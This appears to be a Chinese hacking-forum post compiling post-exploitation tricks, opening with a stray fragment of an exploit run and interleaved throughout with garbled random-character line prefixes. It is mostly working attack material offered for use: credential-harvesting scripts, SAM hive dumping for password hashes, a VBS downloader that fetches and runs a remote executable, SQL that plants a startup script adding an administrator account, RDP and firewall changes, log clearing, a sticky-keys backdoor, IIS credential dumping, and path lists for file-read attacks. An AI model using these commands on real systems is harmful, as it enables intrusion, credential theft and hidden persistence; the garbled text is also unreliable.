* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
, A6 u# }4 b6 rcalling nmount()
' _) N" a$ W7 H' I% C9 T6 s
% v5 W3 E. n! s% t* m& p% F; T（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
7 ]8 {! v2 ~# v$ `. I/ Z2 b( X——————————————
6 P, G5 `7 W: A感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
+ l* J, q! z( k* P/ N: }; U9 k0 b$ ?* U————————————————————————————
6 T% K7 i+ N. o1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
- o( l7 M, W! ]( [. ralzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
" I+ D% C( X* I! S  V# U+ y
4 J  S8 O3 p% Z& g( `3 o提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
/ ^4 k/ M( i' E3 ^命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：

@echo off
echo #########system info collection
systeminfo
# A+ @9 w6 ~4 M# M5 W! _' }: sver
6 s- S/ `2 C" y. i  r' Zhostname
net user
6 [  {3 x" D# @9 f( A- inet localgroup
; Y* y$ J6 O; I: A; A( S! _# lnet localgroup administrators
* A, W( K% k9 L9 r# t3 Anet user guest
net user administrator

3 r+ f& r2 ?( ^2 O9 T& cecho #######at- with   atq#####
5 k1 B4 \% p  d4 r* X! Hecho schtask /query

; w8 g& `( ]! Q( A$ mecho
. N3 ~& o; _5 Gecho ####task-list#############
; }7 Z; v# z( x, T: m+ rtasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
  S% }& @2 ~' i3 Y. x2 X1 A. t. Dnetstat -anipconfig /displaydns
echo
echo #######service############
" G0 `6 \, Y% ~/ R8 L) [sc query type= service state= all
echo #######file-##############
3 H/ x) j6 I; G! ]: T6 @cd \
tree -F
, }) V& N7 V( I4 Mfor linux：
5 j8 L$ f8 g* k, y$ p* A
#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
  |$ S! i% t: X- Lcat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
5 i7 H0 _0 n. p  ~5 Y' e3 D' W, p. r######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
( @4 `2 b; v9 e
; X' D9 \; A0 K3 M  p
1 @8 N8 E! D5 _5 Iecho 'u'r id is' `id`
7 g5 |1 ~& m2 G8 Pecho ###atq&crontab#####
1 T7 M  K+ b  G# h: `+ latq
crontab -l
8 p# h9 b& P1 a1 i5 _: Fecho #####about var#####
set

* t) Y% ~% B# u- Eecho #####about network###
/ ~4 }8 X5 y/ Q& Q/ {0 V* q5 j  Z####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
4 F5 C5 A  K0 ~# i8 a" {3 phostname
1 {) s: t, {' U& b% X# Lipconfig -a
arp -v
) m8 S+ w# D! y$ \; D6 techo ########user####
) T1 E3 e' ^9 x' [4 o4 [; _* s: ^cat /etc/passwd|grep -i sh

: `: P6 J* G+ O( Cecho ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
& M' h" y1 ]1 r+ O0 L8 g) ]% [sleep 5
; \% \' ^; W# o9 s; plocate password >>/tmp/password 2>/dev/null
7 @1 Z# ?' B& o  c, K6 o3 k( Usleep 5
3 _. U# H( s2 V. V4 u) b; {6 `locate conf >/tmp/sysconfig 2>dev/null
5 i' {/ e% n6 e3 a8 csleep 5
/ V' f) s( O$ T  h' Qlocate config >>/tmp/sysconfig 2>/dev/null
9 m) w7 B) [9 Bsleep 5
/ o  U3 F+ q! P% L( o% I
###maybe can use "tree /"###
echo ##packing up#########
6 h* e+ P6 ?; ^: `tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
5 V$ i4 _. s0 w& ?2 k' @2 K  d- Yrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
( P' q1 j6 i, w& C2 @7 d——————————————
' L5 R/ o1 {$ s1 E% o0 y3、ethash 不免杀怎么获取本机hash。
, U/ E$ D0 y- w: j0 J# Q首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
% Z  i4 A( Z1 Q: t               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
# y! c9 S- v; Ahash 抓完了记得把自己的账户密码改过来哦！
: U' W) O2 t5 |& m! m6 r' C/ |据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
8 Z. U5 h9 y. J  h1 w4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
0 R0 P0 g8 h% p% D! y$ c7 Hecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
5 n9 C9 N" P' A7 g! E8 K. Kecho sGet.Type = 1 >>c:\windows\cftmon.vbs
6 j- E2 b4 x3 E; zecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
, ]! q% w9 v' \8 m- @9 V, N: Kecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
4 v7 l* b  _+ R# K: h  B" U4 @
2
6 a- x8 r4 D  k4 W/ COn Error Resume Nextim iRemote,iLocal,s1,s2
; \% R0 @2 y/ i/ N4 U% miLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
) N. c: E, j8 P* X" W2 usGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
; q8 p6 d. R! g& R
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

7 X) m# B, t# I' ^当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
( d7 u" h' N0 v- k+ }  z( f5、
8 S; Z; l2 P% ]2 c% D0 C/ a1.查询终端端口
/ {+ e, r$ V4 U4 D, n, y8 i8 @REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
  c6 e2 L7 I9 F( u. U2.开启XP&2003终端服务
( Q# x: D, H. }( r( \- `( g7 FREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
0 ^- R7 }' o. o& N4 k, O4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
4 {9 S# S0 z# m% z% k1 L$ iREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
' {- l- u8 u* @& f- h# r2 O3 V/ I————————————————
" Q& Z' x6 h% A$ c. z* y6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
  B% t* Z+ ^. Mselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
0 r; }! K1 o8 |0 ]6 e& `7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
0 q5 Z9 s" H! b8 S2 f: ~, X3 v8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
6 ^# ?& [6 Q! O' n. b9 B* L7 L* O  
  for /d %i in (???) do @echo %i
& @8 S, [; L" j+ p4 ~& K
把当前路径下文件夹的名字只有1-3个字母的打出来
4 N% h( V8 O; d0 K9 P4 x) l
2.for /r %i in (*.exe) do @echo %i
  
% U* `8 `5 G3 \7 d: P# e8 R以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
! n1 Q3 N4 o" ^
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
' j  O; x$ g  u
3.for /f %i in (c:\1.txt) do echo %i
  
4 v$ c& G& z5 A7 O8 R  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
/ |& `3 @; m9 M6 ^! R% t8 m
! H6 M/ z" `0 {, ~7 l! b8 v4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
1 L6 y$ ]4 t7 ]% ^7 s4 @* ?——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
! Y1 N& j. H# N/ N* [1 `- l6 Y7 k9 i
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
3 F/ o9 Y) Q7 G) B3 U+ ~修改PortNumber.
3 x' G7 k2 n9 g( I: I/ ^
3.清除3389登录记录:
  Q3 T: N9 I7 L7 Breg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
7 L) L3 _5 w8 O7 F/ E: s
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

7 R. i* d0 ~# L/ d+ ?5.禁用TCP/IP端口筛选(需重启):
8 ?# D/ i( {* v$ _7 N$ E- Y) fREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
# z: K; U  `% o9 m# V或者
netsh ipsec dynamic set config ipsecexempt value=0
, x9 T! p$ E% Q5 ~) m4 p" V; N* u4 I
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

1 H8 h: u# m5 k* N8 b8.系统口令恢复LM加密:
& U# |1 q5 r5 Creg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
- J8 ^$ n) X0 E( D1 O8 ~" F
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
$ z( M: ^( H* R-----------------------------------
星外vbs(注：测试通过，好东西）
) o4 v# c2 u( |; p  r% KSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
/ O$ F( P1 a1 T  b, N& ~if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
7 d+ Z8 ]0 `2 `# g1 w! l: ~' N- bif err.number<>0 then
0 {2 s8 a) S3 Q4 L( dexit for
msgbox("error!")
, r6 n' @7 |! j: I' t. _wscript.quit
6 ~+ I# G( h5 X; G4 |+ v1 h1 eend if
serverbindings=IIS.serverBindings
* ^, n0 n. y7 D$ L9 qServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
: j% _+ U& @: F( U. m2 }user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
" S. U& W* Z3 Y  Y. N( v4 g9 wend if
- x, d7 p7 o- O6 z1 oNext
& Z% k2 }; [7 k$ }, ?wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
! p9 X# w# n- |3 R" k7 EWScript.Quit
& c* A/ L+ Z9 d& y+ J6 K5 d" ?复制代码
3 s1 T, q4 H9 ]' {* L- L7 O----------------------2011新气象，欢迎各位补充、指正、优化。----------------
# Q0 i9 Y7 j1 M& K5 @4 a1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
  _0 |- S# R; T) t2 t/ ~复制代码
2 A- l6 h; T* ~* M- Q然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
3 e" f" x0 H3 g5 @ 原因是ASP大马里有这样的代码：（没有就没事儿了）
  R( h( y1 p+ W9 G5 b; G+ Y, Z url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
1 c+ T$ d) U2 J$ x- N; [  _ url=request.severvariables("path_info")
$ ~( D/ w$ k% @0 U path_info可以直接呈现虚拟路径 顺利解析gif大马

; c! j% e9 A5 [==============================================================
% Z" j. M' x& n3 B5 S- E5 l* yLINUX常见路径：
- B+ c) e; t$ P! c1 o0 E
/etc/passwd
/ z2 h- F; V& L) y0 v1 ], ?4 G5 i/etc/shadow
/etc/fstab
4 U0 M4 D8 H$ c2 ]" V2 [! f/etc/host.conf
; @& z. P7 I2 N; o: T* P: F/etc/motd
( v+ e) X7 R: g$ @/etc/ld.so.conf
- k. D7 W" t, v2 B5 z6 s0 F/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/ o4 U$ ?- l" _. a/var/httpd/conf/httpd.conf
6 Q; y9 f- E* g# ?0 _8 B' N/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
( U& [7 V& Q, H) D, |8 l/var/www/index.html
/var/www/index.php
3 f2 t* D% c8 K. P& m, b" \* ]/ r# A/opt/www/conf/httpd.conf
/ ]5 U2 l" {2 ~  M  n4 F/opt/www/htdocs/index.php
8 P$ X8 z0 L4 [2 C% q4 R  w2 T0 f/opt/www/htdocs/index.html
$ a  \' _+ i* a8 G, C) i; V/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
: y% G# q% B. m) U& W/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
9 f( a8 |) w9 [/usr/local/httpd2.2/htdocs/index.html
) f7 l$ i" l: T8 I4 o/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
. F. c0 K. H2 o( y0 S6 q2 ]5 U( u/www/php/php.ini
% O: @, x- Y5 T# R/www/php4/php.ini
& {  @6 @5 N1 z$ P( `3 ~/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
0 H  s/ ?5 e& I/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/ x' B0 Q% T% q/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
; R- i) z: h% t! |/ S/etc/apache2/httpd.conf
& O8 O; J7 J9 x# u) E* |4 o$ e9 r/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
4 |* e, i# A8 X3 _/etc/httpd/conf.d/php.conf
$ B5 g( O" o4 G/etc/httpd/conf.d/httpd.conf
9 {" _4 O+ v7 g  b& q  e: s/ z4 D% o/etc/httpd/logs/error_log
3 e4 [* o2 r" `. Q5 T4 q! Z/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
) }9 |! L5 q- ~. M/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/ y6 s, x6 h5 ?/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
( M9 d" a# B8 N/var/log/apache/access_log
: c$ m& N. W$ |/var/log/apache/access.log
5 S2 M3 Q* s$ l% {2 ?* X/var/log/apache2/error_log
/var/log/apache2/error.log
9 @" p0 R) o  U5 H9 R/var/log/apache2/access_log
/var/log/apache2/access.log
( W# G2 e0 r! Y9 W/var/www/logs/error_log
4 i2 l$ [/ r+ C- X) N1 f& e/var/www/logs/error.log
/var/www/logs/access_log
9 o+ s% S- X; m/var/www/logs/access.log
+ ]% h, @9 Y7 t" F) J1 t) K/usr/local/apache/logs/error_log
' _# r0 T% ^+ t) a3 z/usr/local/apache/logs/error.log
! T6 `3 t0 l0 {' Y+ g$ A5 {5 t/usr/local/apache/logs/access_log
  g% D, O7 T. X4 _/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
' R% c* d3 r8 T+ q: W$ p/var/log/access_log
$ x# V0 j2 H% Z4 O/var/log/access.log
/ k' J2 J9 @5 H" M/usr/local/apache/logs/access_logaccess_log.old
& r) f# i& V. d; I/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
, R9 _* r9 |9 Y1 ~2 C/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
8 s" R$ p! E' N7 m- f: b- `. P1 G/usr/lib/php/php.ini
+ {  `! Y1 R" i- f/ A+ q1 |/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
% d+ P, J6 G" @- ]/usr/local/php4/php.ini
5 O7 o# A( I. t- ]# N. M, c/usr/local/php4/lib/php.ini
3 W, `3 B9 {. E3 u/usr/local/php5/lib/php.ini
5 o, ~5 j+ g7 H; s( K9 G/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
3 X5 }8 i2 H9 X/ p+ E/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
1 |% M* l4 K4 q3 P& [1 B/etc/php4/apache/php.ini
/ n6 W. J0 h' r; f* {% k- ]/etc/php4/apache2/php.ini
9 V8 t8 C6 O0 V) c3 @9 H/etc/php5/apache/php.ini
; K7 F4 A+ F3 h/etc/php5/apache2/php.ini
5 a2 y* L% X9 z( X: M/etc/php/php.ini
" M. o. A* D7 n% M" z/etc/php/php4/php.ini
" O7 @& v8 A: d7 ?' v: j4 n/etc/php/apache/php.ini
) f2 t1 @$ f/ l1 [$ F3 _. I/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/ g4 C" h  c* }+ T0 _4 }8 v7 l/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
# v7 K* w9 c8 u( F* _/etc/php/cgi/php.ini
3 G8 |7 Y" Z8 j$ R& \/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
6 E4 d$ |/ m! e/PHP/php.ini
/apache/php/php.ini
8 q8 F$ _! T5 y3 d/xampp/apache/bin/php.ini
. Z# x+ y1 l. i/ ]0 v/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
& o! R2 e0 U  E, n9 ]6 J( u% O# P/var/log/mysql/mysql-bin.log
/var/log/mysql.log
6 X5 U" d. c* ~7 Z/var/log/mysqlderror.log
1 }4 x. S$ `0 {8 i- ]  _) E; @/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
! F$ n6 c1 S, G. z/usr/local/mysql/my.cnf
' s" G& M( D4 ]& K5 ^9 F1 W3 ~/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
2 c) Y, Z* G; t3 j0 t) Q/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
& c4 a- h1 u+ b: [/ \$ W- |& ^+ @% `/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
- `% @0 h5 c- B' M/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
; m! Q! Q6 E6 W3 d/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
; Y- K5 |8 U0 a* F
% o: _' B6 s5 p/ z" V+ A2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
! p; ]5 e8 c& x2 nc:\1.txt
c:\a.txt

* {  D0 {* R% n' g; {9 ^: [, C3 wc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
# R7 p- c4 i( i: s! j, ^c:\program files\CMailServer\WebMail\index.asp
& L, j0 c+ h/ x5 y# j8 FC:\WinWebMail\SysInfo.ini
% |' @8 t. V8 T4 [. C6 IC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
2 a0 y5 }3 C6 o% s; O5 ]
, e- U0 s. M5 y( w7 Mc:\hzhost\databases\url.asp
# n" Q) I# Y) b, B* S9 {# o
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
0 p) E8 k$ U) R. L) D
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
$ J- z! S9 d3 Kc:\www\index.html
6 }/ }6 ^+ `1 p' H9 ?, ~0 Y, S0 zc:\WWWROOT\index.html
c:\website\index.html
+ r5 o1 I* q& @2 V5 `3 D! \c:\web\index.asp
c:\www\index.asp
% ^& `6 z- m' d; m+ Q8 lc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
% z! {$ s, h. lc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
( g( b) Z: z/ jc:\website\default.html
c:\web\default.asp
3 |" s, V0 L! X- v- c  \c:\www\default.asp
7 v6 P& t4 I  N. Rc:\wwwsite\default.asp
c:\WWWROOT\default.asp
: ~7 w2 X* M7 }% d, n4 qc:\web\default.php
( g4 H. O3 w5 y/ tc:\www\default.php
; z/ P4 ?1 j% s! q- Pc:\WWWROOT\default.php
' y: D8 b; [( Y7 ^0 a& Rc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
7 W) M9 q$ j, Z* {3 V3 O, Oc:\winnt\notepad.exe
1 w# k' i- I- wC:\Program Files\Microsoft Office\OFFICE10\winword.exe
$ B; k4 C; Y0 G) y; V1 AC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
& G2 ?: h7 {& ^& V- qC:\Program Files\winrar\rar.exe
: Z& G/ i" X2 L$ u) G9 J  [; WC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
" {$ V6 L, @9 Oc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
# \$ w$ s: |* b5 Z/ bC:\Documents and Settings\All Users\Start Menu\desktop.ini
/ \  Z4 U, F' s+ a1 c3 V3 A+ X% NC:\Documents and Settings\Administrator\My Documents\Default.rdp
% b; N3 t, t+ Q; M+ T- o# HC:\Documents and Settings\Administrator\Cookies\index.dat
$ i, x8 d' O. u8 D$ d. M+ K- U4 G' MC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
3 K; e/ |9 C) L$ w7 mC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
+ Q2 N" G! q" ?' Y/ ~$ bC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
. F0 Z" O( Y  r. S$ f+ iC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
/ x( l% P2 j, k9 m; wE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
7 t; o/ \1 t( {. ^, V/ |C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
1 i7 E1 Z- y6 r3 o7 n2 l3 _( f/ ?4 qC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
, ^* M; p3 y: ]" t9 v  S: OC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
4 c+ X. f! w4 }, Y# ]$ FC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
- c4 d- F* u" V3 d: o' Z8 z; bC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
% [# P: X/ z8 l+ D6 XC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
6 n. p2 Q2 `  {C:\Program Files\MySQL\MySQL Server 5.0\my.ini
& ~6 ?8 ]! l4 ?9 m/ e1 U/ n. NC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
' b4 `/ M/ R! J) ^% Rc:\MySQL\MySQL Server 4.1\bin\mysql.exe
& P0 s( Y$ e! q7 {( Ac:\MySQL\MySQL Server 4.1\data\mysql\user.frm
, V! Y' c, ]+ o. Q( |% a, A! BC:\Program Files\Oracle\oraconfig\Lpk.dll
. `0 s' M, _- y1 g& Q/ I+ H: xC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
0 U6 o' g/ P& UC:\WINDOWS\system32\inetsrv\w3wp.exe
4 m7 a/ N8 d9 g7 KC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
' o) u6 g, V# \% rC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
' k# i' B8 g; H! vC:\WINDOWS\system32\config\default.LOG
; E) u( q* |- f$ `C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
5 q1 a  \  V1 W7 Gc:\CMailServer\config.ini
2 Q" L1 T, \8 m2 q" b* q; zc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
- Z: B; B  F# K* e1 l' q9 Lc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
& e/ z( s6 G$ a0 F: w2 Q- Vc:\Apache2\Apache2\bin\Apache.exe
/ U/ R# I8 N) {& o# jc:\Apache2\bin\Apache.exe
$ p) ^4 w* `, E# K( A' r. Qc:\Apache2\php\license.txt
8 R7 j6 B$ i8 ?/ z. m5 bC:\Program Files\Apache Group\Apache2\bin\Apache.exe
